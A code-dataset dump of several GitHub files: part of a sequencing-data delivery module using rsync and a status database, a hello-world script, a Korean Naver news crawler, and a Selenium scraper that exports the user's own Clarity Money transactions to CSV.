self.force = getattr(self, 'force', False)\n self.stage_only = getattr(self, 'stage_only', False)\n self.ignore_analysis_status = getattr(self, 'ignore_analysis_status', False)\n #Fetches a project name, should always be availble; but is not a requirement\n try:\n self.projectname = db.project_entry(db.dbcon(), projectid)['name']\n except KeyError:\n pass\n # only set an attribute for uppnexid if it's actually given or in the db\n try:\n getattr(self, 'uppnexid')\n except AttributeError:\n try:\n self.uppnexid = db.project_entry(db.dbcon(), projectid)['uppnex_id']\n except KeyError:\n pass\n # set a custom signal handler to intercept interruptions\n signal.signal(signal.SIGINT, _signal_handler)\n signal.signal(signal.SIGTERM, _signal_handler)\n\n def __str__(self):\n return \"{}:{}\".format(\n self.projectid, self.sampleid) \\\n if self.sampleid is not None else self.projectid\n\n def acknowledge_delivery(self, tstamp=_timestamp()):\n try:\n ackfile = self.expand_path(\n os.path.join(self.deliverystatuspath, \"{}_delivered.ack\".format(\n self.sampleid or self.projectid)))\n create_folder(os.path.dirname(ackfile))\n with open(ackfile, 'w') as fh:\n fh.write(u\"{}\\n\".format(tstamp))\n except (AttributeError, IOError) as e:\n logger.warning(\n \"could not write delivery acknowledgement, reason: {}\".format(\n e))\n\n def db_entry(self):\n \"\"\" Abstract method, should be implemented by subclasses \"\"\"\n raise NotImplementedError(\"This method should be implemented by subclass\")\n\n def get_sample_status(self, dbentry=None):\n \"\"\" Returns the analysis status for this sample. If a sampleentry\n dict is supplied, it will be used instead of fethcing from database\n\n :params sampleentry: a database sample entry to use instead of\n fetching from db\n :returns: the analysis status of this sample as a string\n \"\"\"\n dbentry = dbentry or self.db_entry()\n return dbentry.get('status', 'FRESH')\n\n def update_delivery_status(self, *args, **kwargs):\n \"\"\" Abstract method, should be implemented by subclasses \"\"\"\n raise NotImplementedError(\"This method should be implemented by subclass\")\n\n def get_analysis_status(self, dbentry=None):\n \"\"\" Returns the analysis status for this sample. If a sampleentry\n dict is supplied, it will be used instead of fethcing from database\n\n :params sampleentry: a database sample entry to use instead of\n fetching from db\n :returns: the analysis status of this sample as a string\n \"\"\"\n dbentry = dbentry or self.db_entry()\n return dbentry.get('analysis_status', 'TO_ANALYZE')\n\n def get_delivery_status(self, dbentry=None):\n \"\"\" Returns the delivery status for this sample. If a sampleentry\n dict is supplied, it will be used instead of fethcing from database\n\n :params sampleentry: a database sample entry to use instead of\n fetching from db\n :returns: the delivery status of this sample as a string\n \"\"\"\n dbentry = dbentry or self.db_entry()\n return dbentry.get('delivery_status', 'NOT_DELIVERED')\n\n def gather_files(self):\n \"\"\" This method will locate files matching the patterns specified in\n the config and compute the checksum and construct the staging path\n according to the config.\n\n The config should contain the key 'files_to_deliver', which should\n be a list of tuples with source path patterns and destination path\n patterns. The source path can be a file glob and can refer to a\n folder or file. File globs will be expanded and folders will be\n traversed to include everything beneath.\n\n :returns: A generator of tuples with source path,\n destination path and the checksum of the source file\n (or None if source is a folder)\n \"\"\"\n return fs.gather_files([list(map(self.expand_path, file_pattern)) for file_pattern in self.files_to_deliver],\n no_checksum=self.no_checksum,\n hash_algorithm=self.hash_algorithm)\n\n def stage_delivery(self):\n \"\"\" Stage a delivery by symlinking source paths to destination paths\n according to the returned tuples from the gather_files function.\n Checksums will be written to a digest file in the staging path.\n Failure to stage individual files will be logged as warnings but will\n not terminate the staging.\n\n :raises DelivererError: if an unexpected error occurred\n \"\"\"\n digestpath = self.staging_digestfile()\n filelistpath = self.staging_filelist()\n create_folder(os.path.dirname(digestpath))\n try:\n with open(digestpath, 'w') as dh, open(filelistpath, 'w') as fh:\n agent = transfer.SymlinkAgent(None, None, relative=True)\n for src, dst, digest in self.gather_files():\n agent.src_path = src\n agent.dest_path = dst\n try:\n agent.transfer()\n except (transfer.TransferError, transfer.SymlinkError) as e:\n logger.warning(\"failed to stage file '{}' when \"\n \"delivering {} - reason: {}\".format(src, str(self), e))\n\n fpath = os.path.relpath(dst, self.expand_path(self.stagingpath))\n fh.write(u\"{}\\n\".format(fpath))\n if digest is not None:\n dh.write(u\"{} {}\\n\".format(digest, fpath))\n # finally, include the digestfile in the list of files to deliver\n fh.write(u\"{}\\n\".format(os.path.basename(digestpath)))\n except (IOError, fs.FileNotFoundException, fs.PatternNotMatchedException) as e:\n raise DelivererError(\n \"failed to stage delivery - reason: {}\".format(e))\n return True\n\n def do_delivery(self):\n \"\"\" Deliver the staged delivery folder using rsync\n :returns: True if delivery was successful, False if unsuccessful\n :raises DelivererRsyncError: if an exception occurred during\n transfer\n \"\"\"\n agent = transfer.RsyncAgent(\n self.expand_path(self.stagingpath),\n dest_path=self.expand_path(self.deliverypath),\n digestfile=self.delivered_digestfile(),\n remote_host=getattr(self, 'remote_host', None),\n remote_user=getattr(self, 'remote_user', None),\n log=logger,\n opts={\n '--files-from': [self.staging_filelist()],\n '--copy-links': None,\n '--recursive': None,\n '--perms': None,\n '--chmod': 'ug+rwX,o-rwx',\n '--verbose': None,\n '--exclude': [\"*rsync.out\", \"*rsync.err\"]\n })\n create_folder(os.path.dirname(self.transfer_log()))\n try:\n return agent.transfer(transfer_log=self.transfer_log())\n except transfer.TransferError as e:\n raise DelivererRsyncError(e)\n\n def delivered_digestfile(self):\n \"\"\"\n :returns: path to the file with checksums after delivery\n \"\"\"\n return self.expand_path(\n os.path.join(\n self.deliverypath,\n os.path.basename(self.staging_digestfile())))\n\n def staging_digestfile(self):\n \"\"\"\n :returns: path to the file with checksums after staging\n \"\"\"\n return self.expand_path(\n os.path.join(\n self.stagingpath,\n \"{}.{}\".format(self.sampleid, self.hash_algorithm)))\n\n def staging_filelist(self):\n \"\"\"\n :returns: path to the file with a list of files to transfer\n after staging\n \"\"\"\n return self.expand_path(\n os.path.join(\n self.stagingpath,\n \"{}.lst\".format(self.sampleid)))\n\n def transfer_log(self):\n \"\"\"\n :returns: path prefix to the transfer log files. The suffixes will\n be created by the transfer command\n \"\"\"\n return self.expand_path(\n os.path.join(\n self.logpath,\n \"{}_{}\".format(self.sampleid,\n datetime.datetime.now().strftime(\"%Y%m%dT%H%M%S\"))))\n\n def expand_path(self, path):\n \"\"\" Will expand a path by replacing placeholders with correspondingly\n named attributes belonging to this Deliverer instance. Placeholders\n are specified according to the pattern '<[A-Z]>' and the\n corresponding attribute that will replace the placeholder should be\n identically named but with all lowercase letters.\n\n For example, \"this/is/a/path/to/<PROJECTID>/and/<SAMPLEID>\" will\n expand by substituting <PROJECTID> with self.projectid and\n <SAMPLEID> with self.sampleid\n\n If the supplied path does not contain any placeholders or is None,\n it will be returned unchanged.\n\n :params string path: the path to expand\n :returns: the supplied path will all placeholders substituted with\n the corresponding instance attributes\n :raises DelivererError: if a corresponding attribute for a\n placeholder could not be found\n \"\"\"\n try:\n m = re.search(r'(<[A-Z]+>)', path)\n except TypeError:\n return path\n else:\n if m is None:\n return path\n try:\n expr = m.group(0)\n return self.expand_path(\n path.replace(expr, getattr(self, str(expr[1:-1]).lower())))\n except AttributeError as e:\n raise DelivererError(\n \"the path '{}' could not be expanded - reason: {}\".format(\n path, e))\n\n def aggregate_meta_info(self):\n \"\"\" A method to collect meta info about delivered files (like size, md5 value)\n Which files are interested (by default only 'fastq' and 'bam' files) can be\n controlled by setting 'files_interested' in 'aggregate_meta_info' section.\n It needs a database credentials file to put the aggregated info.\n \"\"\"\n save_meta_info = getattr(self, 'save_meta_info', False)\n if not save_meta_info:\n return False\n try:\n with open(os.getenv('STATUS_DB_CONFIG'), 'r') as db_cred_file:\n db_conf = yaml.safe_load(db_cred_file)['statusdb']\n sdb = ProjectSummaryConnection(db_conf)\n proj_obj = sdb.get_entry(self.projectname)\n meta_info_dict = proj_obj.get(\"staged_files\", {})\n staging_path = self.expand_path(self.stagingpath)\n hash_files = glob.glob(os.path.join(staging_path, \"{}.{}\".format(self.sampleid, self.hash_algorithm)))\n curr_time = datetime.datetime.now().__str__()\n for hash_file in hash_files:\n hash_dict = fs.parse_hash_file(hash_file, curr_time, hash_algorithm=self.hash_algorithm, root_path=staging_path, files_filter=['.fastq', '.bam'])\n meta_info_dict = fs.merge_dicts(meta_info_dict, hash_dict)\n proj_obj[\"staged_files\"] = meta_info_dict\n sdb.save_db_doc(proj_obj)\n logger.info(\"Updated metainfo for sample {} in project {} with id {} in StatusDB\".format(self.sampleid, self.projectid, proj_obj.get(\"_id\")))\n return True\n except Exception as e:\n logger.warning(\"Was not able to update metainfo due to error {}\".format(e))\n return False\n\n\nclass ProjectDeliverer(Deliverer):\n def __init__(self, projectid=None, sampleid=None, **kwargs):\n super(ProjectDeliverer, self).__init__(\n projectid,\n sampleid,\n **kwargs)\n\n def all_samples_delivered(\n self,\n sampleentries=None):\n \"\"\" Checks the delivery status of all project samples\n\n :params sampleentries: a list of sample entry dicts to use instead\n of fetching from database\n :returns: True if all samples in this project has been successfully\n delivered, False otherwise\n \"\"\"\n sampleentries = sampleentries or db.project_sample_entries(db.dbcon(), self.projectid).get('samples', [])\n return all([self.get_delivery_status(sentry) == 'DELIVERED' for sentry in sampleentries if self.get_sample_status(sentry) != \"ABORTED\" ])\n\n def create_report(self):\n \"\"\" Create a final aggregate report via a system call \"\"\"\n logprefix = os.path.abspath(\n self.expand_path(os.path.join(self.logpath, self.projectid)))\n try:\n if not create_folder(os.path.dirname(logprefix)):\n logprefix = None\n except AttributeError:\n logprefix = None\n with chdir(self.expand_path(self.reportpath)):\n cl = self.report_aggregate.split(' ')\n call_external_command(\n cl,\n with_log_files=(logprefix is not None),\n prefix=\"{}_aggregate\".format(logprefix))\n\n def copy_report(self):\n \"\"\" Copies the aggregate report and version reports files to a specified outbox directory.\n :returns: list of the paths to the files it has successfully copied (i.e. the targets)\n \"\"\"\n\n def find_from_files_to_deliver(pattern):\n \"\"\" Searches the nested list of `files_to_deliver` for files matching the provided pattern\n :param pattern: the regex pattern to search for\n :returns: single matching file\n :raises: AssertionError if there is not strictly one match for the pattern\n \"\"\"\n\n matches = []\n\n for file_list in self.files_to_deliver:\n for f in file_list:\n # Check that type is string, since list might also contain\n # objects\n if type(f) is str and re.match(pattern, f):\n matches.append(f)\n\n if not matches or len(matches) != 1:\n raise AssertionError(\"Found none of multiple matches for pattern: {}\".format(pattern))\n else:\n return matches[0]\n\n def create_target_path(target_file_name):\n reports_outbox = self.config[\"reports_outbox\"]\n return self.expand_path(os.path.join(reports_outbox, os.path.basename(target_file_name)))\n\n files_copied = []\n try:\n # Find and copy aggregate report file\n aggregate_report_src = self.expand_path(find_from_files_to_deliver(r\".*_aggregate_report.csv$\"))\n aggregate_report_target = create_target_path(aggregate_report_src)\n shutil.copyfile(aggregate_report_src, aggregate_report_target)\n files_copied.append(aggregate_report_target)\n\n # Find and copy versions report file\n version_report_file_src = self.expand_path(find_from_files_to_deliver(r\".*/version_report.txt\"))\n version_report_file_target = create_target_path(\"{}_version_report.txt\".format(self.projectid))\n shutil.copyfile(version_report_file_src, version_report_file_target)\n files_copied.append(version_report_file_target)\n\n except AssertionError as e:\n logger.warning(\"Had trouble parsing reports from `files_to_deliver` in config.\")\n logger.warning(e.message)\n except KeyError as e:\n logger.warning(\"Could not find specified value in config: {}.\"\n \"Will not be able to copy the report.\".format(e.message))\n\n return files_copied\n\n def db_entry(self):\n \"\"\" Fetch a database entry representing the instance's project\n :returns: a json-formatted database entry\n :raises taca_ngi_pipeline.utils.database.DatabaseError:\n if an error occurred when communicating with the database\n \"\"\"\n return db.project_entry(db.dbcon(), self.projectid)\n\n def deliver_project(self):\n \"\"\" Deliver all samples in a project to the destination specified by\n deliverypath\n\n :returns: True if all samples were delivered successfully, False if\n any sample was not properly delivered or ready to be delivered\n \"\"\"\n try:\n if getattr(self, 'generate_xml_and_manifest_files_only', False):\n logger.info(\"XML and manifest files will be generated for staged files in {}\".format(self.projectid))\n self.generate_xml_and_manifest_files()\n return True\n if not self.stage_only:\n logger.info(\"Delivering {} to {}\".format(\n str(self), self.expand_path(self.deliverypath)))\n else:\n logger.info(\"Staging {}\".format(str(self)))\n\n if self.get_delivery_status() == 'DELIVERED' \\\n and not self.force:\n logger.info(\"{} has already been delivered\".format(str(self)))\n return True\n # right now, don't catch any errors since we're assuming any thrown\n # errors needs to be handled by manual intervention\n status = True\n for sampleid in [sentry['sampleid'] for sentry in db.project_sample_entries(\n db.dbcon(), self.projectid).get('samples', [])]:\n st = SampleDeliverer(self.projectid, sampleid).deliver_sample()\n status = (status and st)\n #If sthlm, generate xml files\n if self.stage_only and getattr(self, 'save_meta_info', False):\n self.generate_xml_and_manifest_files()\n # Atleast one sample should have been staged/delivered for the following steps\n if os.path.exists(self.expand_path(self.stagingpath)):\n # Try to deliver any miscellaneous files for the project (like reports, analysis)\n ProjectMiscDeliverer(self.projectid).deliver_misc_data()\n # query the database whether all samples in the project have been sucessfully delivered\n if self.all_samples_delivered():\n # this is the only delivery status we want to set on the project level, in order to avoid concurrently\n # running deliveries messing with each other's status updates\n # create the final aggregate report\n try:\n if self.report_aggregate:\n logger.info(\"creating final aggregate report\")\n self.create_report()\n except AttributeError as e:\n pass\n except Exception as e:\n logger.warning(\n \"failed to create final aggregate report for {}, \"\\\n \"reason: {}\".format(self, e))\n raise e\n\n try:\n if self.copy_reports_to_reports_outbox:\n logger.info(\"copying reports to report outbox\")\n self.copy_report()\n except Exception as e:\n logger.warning(\"failed to copy report to report outbox, with reason: {}\".format(e.message))\n updated_status = \"DELIVERED\"\n if self.stage_only:\n updated_status = \"STAGED\"\n self.update_delivery_status(status=updated_status)\n self.acknowledge_delivery()\n\n return status\n except (db.DatabaseError, DelivererInterruptedError, Exception):\n raise\n\n def generate_xml_and_manifest_files(self):\n logger.info(\"Fetching information for xml generation\")\n with open(os.getenv('STATUS_DB_CONFIG'), 'r') as db_cred_file:\n db_conf = yaml.safe_load(db_cred_file)['statusdb']\n try:\n xgen = xmlgen.xml_generator(self.projectid, # statusdb project\n outdir=self.expand_path('<ANALYSISPATH>/reports/'),\n ignore_lib_prep=getattr(self, 'xmlgen_ignore_lib_prep', False), # boolean to ignore prep\n LOG=logger, # log object for logging\n pcon=ProjectSummaryConnection(db_conf), # StatusDB project connection\n fcon=FlowcellRunMetricsConnection(db_conf), # StatusDB flowcells connection\n xcon=X_FlowcellRunMetricsConnection(db_conf)) # StatusDB xflowcells connection\n xgen.generate_xml_and_manifest()\n except Exception as e:\n logger.warning(\"Fetching XML information failed due to '{}'\".format(e))\n logger.info('Generated XML files...')\n\n def update_delivery_status(self, status=\"DELIVERED\"):\n \"\"\" Update the delivery_status field in the database to the supplied\n status for the project specified by this instance\n :returns: the result from the underlying api call\n :raises taca_ngi_pipeline.utils.database.DatabaseError:\n if an error occurred when communicating with the database\n \"\"\"\n return db.update_project(db.dbcon(), self.projectid, delivery_status=status)\n\n\nclass ProjectMiscDeliverer(Deliverer):\n \"\"\"\n A class for handling meta data for projects\n \"\"\"\n def __init__(self, projectid=None, sampleid=None, **kwargs):\n super(ProjectMiscDeliverer, self).__init__(\n projectid,\n sampleid,\n **kwargs)\n self.files_to_deliver = getattr(self, 'misc_files_to_deliver', None)\n\n def staging_digestfile(self):\n \"\"\"\n :returns: path to the file with checksums for miscellaneous files after staging\n \"\"\"\n return self.expand_path(os.path.join(self.stagingpath, \"miscellaneous.{}\".format(self.hash_algorithm)))\n\n def staging_filelist(self):\n \"\"\"\n :returns: path to the file with a list of miscellaneous files to transfer after staging\n \"\"\"\n return self.expand_path(os.path.join(self.stagingpath, \"miscellaneous.lst\"))\n\n def deliver_misc_data(self):\n if self.files_to_deliver == None:\n logger.info(\"No miscellaneous files to deliver for project {}\".format(self.projectid))\n return False\n if not self.stage_delivery():\n logger.warning(\"Miscellaneous files were not properly staged for project {}\".format(self.projectid))\n return False\n if not self.stage_only:\n if not self.do_delivery():\n raise DelivererError(\"Miscellaneous files for project {} was not properly delivered\".format(self.projectid))\n return True\n\n\nclass SampleDeliverer(Deliverer):\n \"\"\"\n A class for handling sample deliveries\n \"\"\"\n\n def __init__(self, projectid=None, sampleid=None, **kwargs):\n super(SampleDeliverer, self).__init__(\n projectid,\n sampleid,\n **kwargs)\n\n def create_report(self):\n \"\"\" Create a sample report and an aggregate report via a system call \"\"\"\n logprefix = os.path.abspath(\n self.expand_path(os.path.join(self.logpath, \"{}-{}\".format(\n self.projectid, self.sampleid))))\n try:\n if not create_folder(os.path.dirname(logprefix)):\n logprefix = None\n except AttributeError:\n logprefix = None\n with chdir(self.expand_path(self.reportpath)):\n # create the ign_sample_report for this sample\n cl = self.report_sample.split(' ')\n cl.extend([\"--samples\",self.sampleid])\n call_external_command(\n cl,\n with_log_files=(logprefix is not None),\n prefix=\"{}_sample\".format(logprefix))\n # estimate the delivery date for this sample to 0.5 days ahead\n cl = self.report_aggregate.split(' ')\n cl.extend([\n \"--samples_extra\",\n json.dumps({\n self.sampleid: {\n \"delivered\": \"{}(expected)\".format(\n _timestamp(days=0.5))}})\n ])\n call_external_command(\n cl,\n with_log_files=(logprefix is not None),\n prefix=\"{}_aggregate\".format(logprefix))\n\n def db_entry(self):\n \"\"\" Fetch a database entry representing the instance's project and sample\n :returns: a json-formatted database entry\n :raises taca_ngi_pipeline.utils.database.DatabaseError:\n if an error occurred when communicating with the database\n \"\"\"\n return db.sample_entry(db.dbcon(), self.projectid, self.sampleid)\n\n def deliver_sample(self, sampleentry=None):\n \"\"\" Deliver a sample to the destination specified by the config.\n Will check if the sample has already been delivered and should not\n be delivered again or if the sample is not yet ready to be delivered.\n\n :params sampleentry: a database sample entry to use for delivery,\n be very careful with caching the database entries though since\n concurrent processes can update the database at any time\n :returns: True if sample was successfully delivered or was previously\n delivered, False if sample was not yet ready to be delivered\n :raises taca_ngi_pipeline.utils.database.DatabaseError: if an entry corresponding to this\n sample could not be found in the database\n :raises DelivererReplaceError: if a previous delivery of this sample\n has taken place but should be replaced\n :raises DelivererError: if the delivery failed\n \"\"\"\n # propagate raised errors upwards, they should trigger notification to operator\n try:\n if not self.stage_only:\n logger.info(\"Delivering {} to {}\".format(\n str(self), self.expand_path(self.deliverypath)))\n else:\n logger.info(\"Staging {}\".format(str(self)))\n try:\n if self.get_analysis_status(sampleentry) != 'ANALYZED':\n if not self.force and not self.ignore_analysis_status:\n logger.info(\"{} has not finished analysis and will not be delivered\".format(str(self)))\n return False\n if self.get_delivery_status(sampleentry) == 'DELIVERED' \\\n and not self.force:\n logger.info(\"{} has already been delivered. Sample will not be delivered again this time.\".format(str(self)))\n return True\n if self.get_delivery_status(sampleentry) == 'IN_PROGRESS' \\\n and not self.force:\n logger.info(\"delivery of {} is already in progress\".format(\n str(self)))\n return False\n if self.get_sample_status(sampleentry) == 'ABORTED':\n logger.info(\"{} has been marked as ABORTED and will not be delivered\".format(str(self)))\n #set it to delivered as ABORTED samples should not fail the status of a project\n if self.get_delivery_status(sampleentry):\n #if status is set, then overwrite it to NOT_DELIVERED\n self.update_delivery_status(status=\"NOT_DELIVERED\")\n #otherwhise leave it empty. Return True as an aborted sample should not fail a delivery\n return True\n if self.get_sample_status(sampleentry) == 'FRESH' \\\n and not self.force:\n logger.info(\"{} is marked as FRESH (new unprocessed data is available) and will not be delivered\".format(str(self)))\n return False\n if self.get_delivery_status(sampleentry) == 'FAILED':\n logger.info(\"retrying delivery of previously failed sample {}\".format(str(self)))\n except db.DatabaseError as e:\n logger.error(\n \"error '{}' occurred during delivery of {}\".format(\n str(e), str(self)))\n raise\n # set the delivery status to in_progress which will also mean that any concurrent deliveries\n # will leave this sample alone\n self.update_delivery_status(status=\"IN_PROGRESS\")\n # an error with the reports should not abort the delivery, so handle\n try:\n if self.report_sample and self.report_aggregate:\n logger.info(\"creating sample reports\")\n self.create_report()\n except AttributeError:\n pass\n except Exception as e:\n logger.warning(\n \"failed to create reports for {}, reason: {}\".format(\n self, e))\n # stage the delivery\n if not self.stage_delivery():\n raise DelivererError(\"sample was not properly staged\")\n logger.info(\"{} successfully staged\".format(str(self)))\n if not self.stage_only:\n # perform the delivery\n if not self.do_delivery():\n raise DelivererError(\"sample was not properly delivered\")\n logger.info(\"{} successfully delivered\".format(str(self)))\n # set the delivery status in database\n self.update_delivery_status()\n # write a delivery acknowledgement to disk\n self.acknowledge_delivery()\n else:\n self.update_delivery_status(status=\"STAGED\")\n # Try aggregate meta info for staged sample and update in appropriate DB\n self.aggregate_meta_info()\n return True\n except DelivererInterruptedError:\n self.update_delivery_status(status=\"NOT_DELIVERED\")\n raise\n except Exception:\n self.update_delivery_status(status=\"FAILED\")\n raise\n\n def update_delivery_status(self, status=\"DELIVERED\"):\n \"\"\" Update the delivery_status field in the database to the supplied\n status for the project and sample specified by this instance\n :returns: the result from the underlying api call\n :raises taca_ngi_pipeline.utils.database.DatabaseError:\n if an error occurred when communicating with the database\n \"\"\"\n return db.update_sample(db.dbcon(), self.projectid, self.sampleid, delivery_status=status)\n" } ]
17
MonkeyFu/Python_helloworld
https://github.com/MonkeyFu/Python_helloworld
6e94db3e99a71decddddf7bdf1d00bedc4c2fb87
c8e1cbbb2a3aae3dba2bb92c53b8599798025603
cf61d194e1bf528eee499edf5047e20276731e77
refs/heads/master
2020-03-28T21:02:34.820269
2018-09-17T10:32:52
2018-09-17T10:32:52
149,124,522
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6818181872367859, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 16.600000381469727, "blob_id": "8e68aeace37b0a9d18805ee6032ed0ba712540eb", "content_id": "8ed777858a8d550e78bfbfc2ac07c005f59fc420", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 140, "license_type": "no_license", "max_line_length": 21, "num_lines": 5, "path": "/python_helloworld.py", "repo_name": "MonkeyFu/Python_helloworld", "src_encoding": "UTF-8", "text": "print('Hello World')\nprint('千里之行,始于足下')\nprint('第一次修改')\nprint('万丈高楼平地起')\nprint('第二次修改')\n" } ]
1
RicardoKim/news_crawling
https://github.com/RicardoKim/news_crawling
bf09c261212e1892248855169196cb848e423178
90655fc0977431a44947b55fea501bb5f97cec1e
27599649dd41b1ef79dcb87af843d543df17f2c8
refs/heads/main
2023-06-27T00:32:39.582810
2021-08-06T04:59:53
2021-08-06T04:59:53
393,255,175
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7599999904632568, "alphanum_fraction": 0.7599999904632568, "avg_line_length": 16, "blob_id": "395abaf42846ca1cff7d9a28b14278f777dfc7b5", "content_id": "a0f99b534f9cb5257edb3209dc7dccfa63b9e2d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 96, "license_type": "no_license", "max_line_length": 33, "num_lines": 3, "path": "/README.md", "repo_name": "RicardoKim/news_crawling", "src_encoding": "UTF-8", "text": "# news_crawling\n\n네이버 검색 API를 활용하여 뉴스를 크롤링하는 예제입니다." }, { "alpha_fraction": 0.5682218074798584, "alphanum_fraction": 0.5867077708244324, "avg_line_length": 29.30666732788086, "blob_id": "6410c5a774a2beff01e1e745a0eabfb3080bb592", "content_id": "31b7d1380d1c50302dd307ad49ec275797c1e6ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2358, "license_type": "no_license", "max_line_length": 155, "num_lines": 75, "path": "/news_crawling.py", "repo_name": "RicardoKim/news_crawling", "src_encoding": "UTF-8", "text": "import requests\nimport pandas as pd\nimport re\nfrom bs4 import BeautifulSoup\n\ndef clean_html(x):\n x = re.sub(\"\\&\\w*\\;\",\"\",x)\n x = re.sub(\"<.*?>\",\"\",x)\n return x\n\ndef return_news_dataframe(news_query):\n client_id = #id\n client_secret = #key\n search_word = news_query \n encode_type = 'json' \n max_display = 10 \n sort = 'sim' \n start = 1 \n\n url = f\"https://openapi.naver.com/v1/search/news.{encode_type}?query={search_word}&display={str(int(max_display))}&start={str(int(start))}&sort={sort}\"\n\n\n headers = {'X-Naver-Client-Id' : client_id,\n 'X-Naver-Client-Secret':client_secret\n }\n\n \n r = requests.get(url, headers=headers)\n\n print(r)\n df = pd.DataFrame(r.json()['items'])\n df['title'] = df['title'].apply(lambda x: clean_html(x))\n df['description'] = df['description'].apply(lambda x: clean_html(x))\n return df\n\ndef get_naver_news(url):\n headers = { \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\" }\n\n res = requests.get(url, headers = headers)\n print(res)\n if res.status_code == 200:\n if 'news.naver.com' not in res.url:\n raise Exception('{}은 요청할 수 없는 url입니다'.format(res.url))\n \n soup = BeautifulSoup(res.text)\n title = soup.select_one(\"h3#articleTitle\").text.strip()\n input_date = soup.select_one('span.t11').text.strip()\n article = soup.select_one('div#articleBodyContents').text.strip()\n article = article.replace('// flash 오류를 우회하기 위한 함수 추가 \\nfunction _flash_removeCallback() {}', '')\n return title, input_date, article\n else:\n raise Exception(\"요청 실패 : {}\".format(res.status_code))\n\ndef main():\n news_df = return_news_dataframe(\"코로나\")\n urls = news_df['link']\n\n result = []\n error_cnt = 0\n for url in urls:\n print(url)\n try:\n info = get_naver_news(url)\n print(info)\n result.append(info)\n except:\n error_cnt += 1\n\n print('error_cnt : {}'.format(error_cnt))\n df = pd.DataFrame(result, columns = ['기사제목', '입력일', '기사내용'])\n df.to_csv('new_articles.csv', index = False, encoding = 'utf-8')\n print('종료')\n\nif __name__ == \"__main__\":\n main()" } ]
2
CXWatson/Clarity_Money_Webscraper
https://github.com/CXWatson/Clarity_Money_Webscraper
2b210c16ca5c18d2c524fd1a8899f101b915902e
3b003b722c8a61eedbdca75e507fa28d044018a3
a578dcb6c59cadebaf033316655a2b0e7c7da757
refs/heads/master
2022-12-06T15:14:29.162509
2020-09-04T19:11:58
2020-09-04T19:11:58
265,939,410
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8069835305213928, "alphanum_fraction": 0.8069835305213928, "avg_line_length": 92.81818389892578, "blob_id": "83b144c0a0f83905b44c8785bbe4a64b41c276f1", "content_id": "20cb9573ca8660ea84ed28b4283c6636c17303cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1031, "license_type": "no_license", "max_line_length": 242, "num_lines": 11, "path": "/README.md", "repo_name": "CXWatson/Clarity_Money_Webscraper", "src_encoding": "UTF-8", "text": "# Clarity Money Webscraper\n## A webscraper that pulls in transaction information from the budgeting app Clarity Money.\n## Intro\nThis webscraper is designed to pull transaction dates, transaction information, and transaction prices and writes it all into a csv file.\n\nThis webscraper logs into Clarity Money desktop interface using chrome webdriver. It fills in the information automatically, logs in automatically, clicks the \"See More\" button to add more transactions to, and then grabs all the transactions.\n\n## Requirements\n- Need to download the corresponding version of chromedriver for your current version of Google Chrome\n- Need to set up a chrome user profile to bypass two factor authentification. Without this it will ask you the access code every time you try to log in with chrome driver.\n- (Optional) Since this is being saved publicly the email and password information is saved in a shell file outside this script. you can do the same. If not you can set the email and password variables to your email and password." }, { "alpha_fraction": 0.7113670706748962, "alphanum_fraction": 0.722234308719635, "avg_line_length": 39.72566223144531, "blob_id": "dcc910286d6f1904a01f334c989b605aff0cab5d", "content_id": "0437ae363909b6588cb5faa5412ba89e6b25f8f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4601, "license_type": "no_license", "max_line_length": 119, "num_lines": 113, "path": "/Clarity_Money_Webscraper.py", "repo_name": "CXWatson/Clarity_Money_Webscraper", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom bs4 import BeautifulSoup as soup\nimport time\nimport os\n\n\n\nchrome_options = Options()\nchrome_options.add_argument(\"--user-data-dir=C:\\\\Users\\\\Charles\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Profile 1\")\nchrome_options.add_argument(\"--disable-extensions\")\nchrome_options.add_argument(\"--profile-directory=Profile 1\")\ndriver = webdriver.Chrome(executable_path=\"chromedriver.exe\", options = chrome_options)\nemail=os.getenv(\"CLARITY_MONEY_USER\")\npassword=os.getenv(\"CLARITY_MONEY_PASS\")\nurl = 'https://app.claritymoney.com'\ndash_url= 'https://app.claritymoney.com/dashboard'\ndriver.get(url)\ndriver.find_element_by_name('email').send_keys(email)\ndriver.find_element_by_name('password').send_keys(password)\ndriver.find_element_by_class_name('btn-deepblue.mb-1.btn.btn-full').click()\nWebDriverWait(driver,200).until(EC.url_to_be(dash_url))\ndriver.find_element_by_class_name('transactions-header-title').click()\n#WebDriverWait(driver,200).until(EC.element_to_be_clickable(('className', 'btn.btn-primary')))\ntime.sleep(1)\n#driver.execute_script(\"window.scrollTo(0, 10000)\")\ntime.sleep(1)\n#Clicks the show more button\ndriver.find_element_by_css_selector('#modal-transactions > div.ta-c.p-1 > div').click()\ntime.sleep(1)\ndriver.find_element_by_css_selector('#modal-transactions > div.ta-c.p-1 > div').click()\ntime.sleep(1)\ndriver.find_element_by_css_selector('#modal-transactions > div.ta-c.p-1 > div').click()\ntime.sleep(1)\nhtml_source = driver.page_source\n#modal-undefined > div.ta-c.p-1 > div\n#document.querySelector(\"#modal-undefined > div.ta-c.p-1 > div\")\npage_soup = soup(html_source, \"html.parser\")\ntransaction_container = page_soup.findAll(\"div\", {\"class\":\"transactions\"})\n\n\n\n# Gets the transactions by CSS Selector\ntransactions_soup = page_soup.select(\"#modal-transactions>div\")\n\n# Gets the transactions by CSS Selector\ntransactions_soup = page_soup.select(\"#modal-transactions>div\")\n\n# Prints the first group of transactions\ntransactions_soup[0]\n\n# Filters out the HTML for the date of the transaction\ntransactions_soup[0].find(\"span\",{\"class\":\"date\"}).text\n\n# Filters out the 